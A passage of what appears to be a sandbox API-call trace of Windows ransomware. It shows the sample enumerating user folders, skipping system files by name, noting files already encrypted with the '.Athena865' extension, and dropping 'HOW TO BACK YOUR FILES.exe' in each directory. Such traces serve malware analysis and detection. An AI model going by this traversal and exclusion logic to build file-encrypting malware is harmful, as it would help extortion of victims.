lpString2="pagefile.sys") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="boot") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="ids.txt") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="ntuser.dat") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="perflogs") returned 1 [0102.342] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc.Athena865", lpString2="MSBuild") returned 1 [0102.342] lstrlenW (lpString="W4EwJ45n_ pZ8_.doc.Athena865") returned 28 [0102.342] lstrcpyW (in: lpString1=0x241e8d2, lpString2="W4EwJ45n_ pZ8_.doc.Athena865" | out: lpString1="W4EwJ45n_ pZ8_.doc.Athena865") returned="W4EwJ45n_ pZ8_.doc.Athena865" [0102.342] lstrlenW (lpString="W4EwJ45n_ pZ8_.doc.Athena865") returned 28 [0102.342] lstrlenW (lpString="Athena865") returned 9 [0102.343] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.343] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f77fe0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x147a0e20, ftLastAccessTime.dwHighDateTime=0x1d4c935, ftLastWriteTime.dwLowDateTime=0xe42567e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zvBfqjt.pdf.Athena865", cAlternateFileName="ZVBFQJ~1.ATH")) returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2=".") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="..") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="windows") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="bootmgr") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="temp") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="pagefile.sys") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="boot") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="ids.txt") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="ntuser.dat") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="perflogs") returned 1 [0102.343] lstrcmpiW (lpString1="zvBfqjt.pdf.Athena865", lpString2="MSBuild") returned 1 [0102.343] lstrlenW (lpString="zvBfqjt.pdf.Athena865") returned 21 [0102.343] lstrcpyW (in: lpString1=0x241e8d2, lpString2="zvBfqjt.pdf.Athena865" | out: lpString1="zvBfqjt.pdf.Athena865") returned="zvBfqjt.pdf.Athena865" [0102.343] lstrlenW (lpString="zvBfqjt.pdf.Athena865") returned 21 [0102.343] lstrlenW (lpString="Athena865") returned 9 [0102.343] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.343] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f77fe0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x147a0e20, ftLastAccessTime.dwHighDateTime=0x1d4c935, ftLastWriteTime.dwLowDateTime=0xe42567e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zvBfqjt.pdf.Athena865", cAlternateFileName="ZVBFQJ~1.ATH")) returned 0 [0102.343] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.343] ReleaseMutex (hMutex=0xec) returned 1 [0102.343] CloseHandle (hObject=0xec) returned 1 [0102.343] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music" [0102.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a898 | out: hHeap=0x4f0000) returned 1 [0102.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a4a8 | out: hHeap=0x4f0000) returned 1 [0102.343] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music") returned 68 [0102.344] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0BB3F2DDAECC5B1DF2E29573D912E44B") returned 0xec [0102.344] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.344] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music" [0102.344] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.344] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.344] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.345] GetLastError () returned 0x0 [0102.345] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.345] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.345] CloseHandle (hObject=0xf4) returned 1 [0102.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.345] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.345] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6349c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.345] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.345] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.345] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.345] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6349c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.345] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.345] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.345] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.345] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.345] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9347cfd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2de466a0, ftLastAccessTime.dwHighDateTime=0x1d4ca73, ftLastWriteTime.dwLowDateTime=0xc62d7840, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0cT-PTi6AHe.mp3.Athena865", cAlternateFileName="0CT-PT~1.ATH")) returned 1 [0102.345] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.345] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.345] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2=".") returned 1 [0102.345] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="..") returned 1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="windows") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="bootmgr") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="temp") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="pagefile.sys") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="boot") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="ids.txt") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="ntuser.dat") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="perflogs") returned -1 [0102.346] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="MSBuild") returned -1 [0102.346] lstrlenW (lpString="0cT-PTi6AHe.mp3.Athena865") returned 25 [0102.346] lstrcpyW (in: lpString1=0x241e8d2, lpString2="0cT-PTi6AHe.mp3.Athena865" | out: lpString1="0cT-PTi6AHe.mp3.Athena865") returned="0cT-PTi6AHe.mp3.Athena865" [0102.346] lstrlenW (lpString="0cT-PTi6AHe.mp3.Athena865") returned 25 [0102.346] lstrlenW (lpString="Athena865") returned 9 [0102.346] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.346] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0xe48bc300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe48bc300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqajU", cAlternateFileName="")) returned 1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2=".") returned 1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="..") returned 1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="windows") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="bootmgr") returned 1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="temp") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="pagefile.sys") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="boot") returned 1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="ids.txt") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="ntuser.dat") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="perflogs") returned -1 [0102.346] lstrcmpiW (lpString1="CqajU", lpString2="MSBuild") returned -1 [0102.346] lstrlenW (lpString="CqajU") returned 5 [0102.346] lstrcpyW (in: lpString1=0x241e8d2, lpString2="CqajU" | out: lpString1="CqajU") returned="CqajU" [0102.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4a8 [0102.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53d860 [0102.347] lstrcatW (in: lpString1="CqajU", lpString2="\\" | out: lpString1="CqajU\\") returned="CqajU\\" [0102.347] lstrcatW (in: lpString1="CqajU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CqajU\\HOW TO BACK YOUR FILES.exe") returned="CqajU\\HOW TO BACK YOUR FILES.exe" [0102.347] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my music\\cqaju\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.347] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0102.347] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0102.348] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0102.348] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0102.348] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0102.348] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0102.348] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.348] lstrcpyW (in: lpString1=0x241e8d2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.348] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.348] lstrlenW (lpString="Athena865") returned 9 [0102.348] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.348] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.348] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.348] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0xe4954880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe4954880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wJbyzOVnUZ9XR-P9FoKE", cAlternateFileName="WJBYZO~1")) returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2=".") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="..") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="windows") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="bootmgr") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="temp") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="pagefile.sys") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="boot") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ids.txt") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ntuser.dat") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="perflogs") returned 1 [0102.348] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="MSBuild") returned 1 [0102.348] lstrlenW (lpString="wJbyzOVnUZ9XR-P9FoKE") returned 20 [0102.348] lstrcpyW (in: lpString1=0x241e8d2, lpString2="wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE") returned="wJbyzOVnUZ9XR-P9FoKE" [0102.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a460 [0102.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb4) returned 0x51ce88 [0102.348] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="\\" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\") returned="wJbyzOVnUZ9XR-P9FoKE\\" [0102.349] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe") returned="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" [0102.349] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.349] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2=".") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="..") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="windows") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="bootmgr") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="temp") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="pagefile.sys") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="boot") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="ids.txt") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="ntuser.dat") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="perflogs") returned 1 [0102.349] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="MSBuild") returned 1 [0102.350] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav.Athena865") returned 29 [0102.350] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Xdq36j18Lt7rY5n.wav.Athena865" | out: lpString1="Xdq36j18Lt7rY5n.wav.Athena865") returned="Xdq36j18Lt7rY5n.wav.Athena865" [0102.350] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav.Athena865") returned 29 [0102.350] lstrlenW (lpString="Athena865") returned 9 [0102.350] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.350] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 0 [0102.350] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.350] ReleaseMutex (hMutex=0xec) returned 1 [0102.350] CloseHandle (hObject=0xec) returned 1 [0102.350] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures" [0102.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a930 | out: hHeap=0x4f0000) returned 1 [0102.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a4c0 | out: hHeap=0x4f0000) returned 1 [0102.350] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures") returned 71 [0102.350] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\680E27A631410FE569A5015AA1CB1C33") returned 0xec [0102.350] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.350] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures" [0102.350] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.350] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.351] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.351] GetLastError () returned 0x0 [0102.351] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.351] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.351] CloseHandle (hObject=0xf4) returned 1 [0102.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.351] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.351] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc68a4de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, 